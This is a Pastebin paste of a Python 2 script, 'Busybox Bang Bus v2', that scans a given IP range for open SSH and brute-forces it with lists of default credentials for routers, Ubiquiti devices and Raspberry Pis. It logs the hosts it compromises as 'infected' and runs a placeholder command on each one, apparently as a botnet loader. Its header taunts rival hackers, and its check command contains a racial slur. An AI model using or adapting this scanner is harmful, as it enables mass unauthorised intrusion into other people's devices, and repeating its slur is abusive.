Advertisement
918

BBBv2 By LiGhT

918
Feb 8th, 2016
280
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.47 KB | None | 0 0
  1. #!/usr/bin/env python
  2. """
  3.                        Busybox Bang Bus v2
  4.            LiGhT dA BoSs yA DiG! nO CoDe RiPPrInG PlZ
  5. XORA IS A SKID, PROXY IS A SKID, ZONE IS A SKID, YOU ARE ALL SKIDZ!
  6.                     Credit goes to LiGhT Enjoy
  7. """
  8.  
  9. import threading, paramiko, random, socket, time, os, sys
  10.  
  11. if not os.geteuid()==0:
  12.     sys.exit("\nGOTTA BE ROOT TO RIDE DA BANG BUS YA DIG\n")
  13.  
  14. os.system("clear")
  15. if len(sys.argv) < 3:
  16.     print "BuSyBoX BaNG BuS v2"
  17.     print "Usage: python "+sys.argv[0]+" [Start IP] [End IP] [0/1/2/perl/ubnt]"
  18.     sys.exit("Example: python "+sys.argv[0]+" 1.1.1.1 2.2.2.2 0\n")
  19.  
  20. sys.stdout.write("\x1b]2;BuSyBoX BaNG BuS\x07")
  21. os.system("clear")
  22. os.system("echo -e 'ulimit -s 999999; ulimit -n 999999; ulimit -u 999999\n' > ~/.bashrc")
  23. os.system("ulimit -s 999999; ulimit -n 999999; ulimit -u 999999")
  24. paramiko.util.log_to_file("/dev/null") #quiets paramiko output
  25. os.system("sysctl -w fs.file-max=999999 >/dev/null")
  26.  
  27. passwords = [ # argv 0
  28.     "ubnt:ubnt",
  29.     "root:root",
  30.     "root:admin",
  31.     "admin:admin",
  32.     "root:1234",
  33.     "admin:1234",
  34.     "guest:guest",
  35.     "user:user",
  36.     "test:test",
  37. ]
  38.  
  39. if sys.argv[3] == '1':
  40.     passwords = [ "root:root", "root:admin", "admin:admin", "ubnt:ubnt", "root:1234", "admin:1234", "guest:guest", "user:user", "test:test" ] #Slow but effective
  41. if sys.argv[3] == '2':
  42.     passwords = [ "root:root", "admin:admin", "ubnt:ubnt" ] #faster with decent execution
  43. if sys.argv[3] == 'perl':
  44.     passwords = [ "pi:raspberry", "vagrant:vagrant" ] #perl scanner
  45. if sys.argv[3] == 'ubnt':
  46.     passwords = [ "ubnt:ubnt" ] #only ubnt
  47.  
  48. raw_input("Press <ENTER> to Enter the Bang Bus")
  49. credit = '# DO NOT SHARE THIS FUCKING SHIT' #throwback lulz
  50. print "\033[0m" + credit + "\033[0m"
  51.  
  52. def ipRange(start_ip, end_ip):
  53.     start = list(map(int, start_ip.split(".")))
  54.     end = list(map(int, end_ip.split(".")))
  55.     temp = start
  56.     ip_range = []
  57.  
  58.     ip_range.append(start_ip)
  59.     while temp != end:
  60.         start[3] += 1
  61.         for i in (3, 2, 1):
  62.             if temp[i] == 256:
  63.                 temp[i] = 0
  64.                 temp[i-1] += 1
  65.         ip_range.append(".".join(map(str, temp)))    
  66.  
  67.     return ip_range
  68. class sshscanner(threading.Thread): # TAG: 1A
  69.     def __init__ (self, ip):
  70.         threading.Thread.__init__(self)
  71.         self.ip = str(ip)
  72.     global passwords
  73.     def run(self):
  74.         x = 1
  75.         while x != 0:
  76.             try:
  77.                 username='root'
  78.                 password="0"
  79.                 port = 22
  80.                 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  81.                 s.settimeout(3)
  82.                 s.connect((self.ip, port))
  83.                 s.close()
  84.                 ssh = paramiko.SSHClient()
  85.                 ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  86.                 dobreak=False
  87.                 for passwd in passwords:
  88.                     if ":n/a" in passwd:
  89.                         password=""
  90.                     else:
  91.                         password=passwd.split(":")[1]
  92.                     if "n/a:" in passwd:
  93.                         username=""
  94.                     else:
  95.                         username=passwd.split(":")[0]
  96.                     try:
  97.                         ssh.connect(self.ip, port = port, username=username, password=password, timeout=5)
  98.                         dobreak=True
  99.                         break
  100.                     except:
  101.                         pass
  102.                     if True == dobreak:
  103.                         break
  104.                 badserver=True
  105.                 stdin, stdout, stderr = ssh.exec_command("echo nigger")
  106.                 output = stdout.read()
  107.                 if "nigger" in output:
  108.                     badserver=False
  109.                 if badserver == False:
  110.                     os.system("echo -e " +self.ip+ " >> .infected.ips")
  111.                     os.system("echo -e " +username+ ":" +password+ ":" +self.ip+ " >> infection.log")
  112.                     print "\033[32mBuSyBoXiNG -> " +username+ ":" +password+ ":" +self.ip+ "\033[0m"
  113.                     ssh.exec_command("command here")
  114.                     time.sleep(3)
  115.                     ssh.close()
  116.                 if badserver == True:
  117.                     ssh.close()
  118.             except:
  119.                 pass
  120.             x = 0
  121. ip_range = ipRange("" +sys.argv[1], "" +sys.argv[2])
  122. for ip in ip_range:
  123.     try:              
  124.         t = sshscanner(ip)
  125.         t.start()
  126.     except:
  127.         pass # LiGhT yA DiG
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement